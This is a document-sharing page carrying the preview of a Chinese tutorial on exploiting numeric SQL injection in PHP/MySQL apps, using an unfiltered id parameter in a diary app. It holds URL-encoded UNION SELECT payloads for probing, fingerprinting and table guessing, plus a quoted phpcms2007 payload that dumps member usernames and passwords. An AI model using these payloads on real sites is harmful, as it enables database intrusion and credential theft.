




已阅读5页,还剩3页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
Php注射漏洞的总结与讲解1. 前置知识 php和mysql的一些基础的应用和总结这里的前置知识我会渗透到一下的教程当中所以不作为一课讲解2. php+mysql数字型注射漏洞的利用方法 本节课程用的是随便在站长站下载一个php代码发现这个作者自己说自己是第一次写完成程序,看来不错啊,有漏洞在所难免,而且很多漏洞都是非常经典的。所以我们学习他的安全的同时也要学习着帮他修补下漏洞。这节课程讲的是php的数字型注射,所以我们就不多罗嗦了。 我们首先打开article.php文件,看如下代码:$tid = $_GETid;$sql = select * from diary where id = $tid;$sql1 = update diary set hit=hit+1 where id = $tid;/点击率/$hit = mysql_query(update diary set hit=hit+1 where id=.$GETid);/点击率$result = mysql_query($sql);mysql_query - 发送一条 MySQL 查询这里是关键,get获取id并没做任何过滤,然后赋值一个sql查询语句,接着发送mysql查询。这样漏洞很显然就出来了,而变量tid是属于数字类型没有被引号扩起来,所以利用比较简单,这次讲解主要讲解关于Union,and,or等注入手法。跟asp字符型注入一样,我们and 1=1 ,and 1=2 判断是否纯在漏洞。 Ord()/将字符转换为ascii码 Strlen()/获取字符串长度 substr(string,start,length)参数描述string必需。规定要返回其中一部分的字符串。start必需。规定在字符串的何处开始。 正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾的指定位置开始 0 - 在字符串中的第一个字符处开始lengthlength可选。规定要返回的字符串长度。默认是直到字符串的结尾。 正数- 从 start 参数所在的位置返回 负数- 从字符串末端返回Php注解有两种形式/*,/*/,#。这里如果大家有看一些黑客类杂志或者有看过一些网站入侵文章就会有些了解。例如:phpcms2007的漏洞guestbook/?gid=1&keyid=%d5/*/union/*/select/*/1,2,3,4,concat(userid,0x7C,username,0x7C,password,0x7C,authstr),6,7,8,9,10,11,12,13,14,15,16,17%20from%20phpcms_member%20where%20groupid=1%23这里不禁利用了/*/还利用了# / #的URL编码为%23 空格的URL编码为%20$sql = select * from diary where id = $tid;还是这句,我们先根据这句话来分析,到phpmyadmin找到diary 表看有多少个字段idtitlecontentdatehitcid栏目id71fsdfsdffdsfddsfsdfdsfdsf2009-01-204072fdsfsdfdfsdfsdfdsfdsfsd2009-01-201719我们发现有六个字段。为什么要来看这个呢?Union联合查询:首先我们需要学习下联合查询union。大多数php入侵都是利用这个union。(在php4以前版本不适用。)UNION指令的目的是将两个 SQL 语句的结果合并起来。从这个角度来看,UNION跟JOIN有些许类似,因为这两个指令都可以由多个表格中撷取资料。UNION的一个限制是两个 SQL 语句所产生的栏位需要是同样的资料种类。另外,当我们用UNION这个指令时,我们只会看到不同的资料值 (类似 SELECTDISTINCT)。UNION的语法如下:SQL 语句 1UNIONSQL 语句 2假设我们有以下的两个表格,Store_Information表格store_nameSalesDateLos Angeles$1500Jan-05-1999San Diego$250Jan-07-1999Los Angeles$300Jan-08-1999Boston$700Jan-08-1999Internet Sales表格DateSalesJan-07-1999$250Jan-10-1999$535Jan-11-1999$320Jan-12-1999$750而我们要找出来所有有营业额 (sales) 的日子。要达到这个目的,我们用以下的 SQL 语句:SELECT Date FROM Store_InformationUNIONSELECT Date FROM Internet_Sales结果:DateJan-05-1999Jan-07-1999Jan-08-1999Jan-10-1999Jan-11-1999Jan-12-1999有一点值得注意的是,如果我们在任何一个 SQL 语句 (或是两句都一起) 用 SELECT DISTINCT Date 的话,那我们会得到完全一样的结果。我们来看这个图,画的不好请见谅,呵呵。接下来实战下。28/diary/article.php?id=72%20and%201=2%20union%20select%201,2,3,4,5,6%23获取基础信息:(mysql内置函数)Database() 数据库名称。User() 用户名Version()版本其他的不多接受 只说这几个。其中比较主要的是数据库名和版本信息。28/diary/article.php?id=72%20and%201=2%20union%20select%201,database(),version(),4,user(),6%23猜解表信息:28/diary/article.php?id=72%20and%201=2%20union%20select%201,2,3,4,5,6%20from%20admin%23正常表返回信息:28/diary/article.php?id=72%20and%201=2%20union%20select%201,2,3,4,5,6%20from%20adfsdfs%23错误表返回信息:从这里我们就能看出来当我们猜解表猜解正确时候会返回联合查询信息,当错误时候会出现错误信息。猜列和猜表差不多。28/diary/article.php?id=72%20and%201=2%20union%20select%201,2,info,4,5,6%20from%20otherinfo%23otherinfo表infonoticelinkfdsfdddddddddddd
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 重庆市2025-2026学年高三上学期开学考试历史试题(无答案)
- 供应室回收课件模板
- 企业生存安全培训课件
- 淘宝平台广告管理办法
- 税务增值收费管理办法
- 网上虚拟身份管理办法
- 多传感器信息融合-第5篇-洞察及研究
- 保密观考试题及答案2025保密观知识竞赛试题及答案
- 出差人员安全培训课件
- 2025智能家居系统设计与开发合同模板
- (2024)新课标一年级语文上册 我上学了 第2课时 我爱我们的祖国 课件
- 《跨境直播运营》课件-跨境电商交易平台直播
- T-CCSAS014-2022《化工企业承包商安全管理指南》
- 液化气店转让合同范本
- 医学教育中的全科医学与专科医学的比较与协同
- 肠梗阻小讲课
- 《小儿支气管肺炎》课件
- 马克思主义经典著作选读
- 食材配送沟通服务方案
- 机房建设清单
- 003-04-PFMEA第五版表格模板-(带实例)-2020.2.3
评论
0/150
提交评论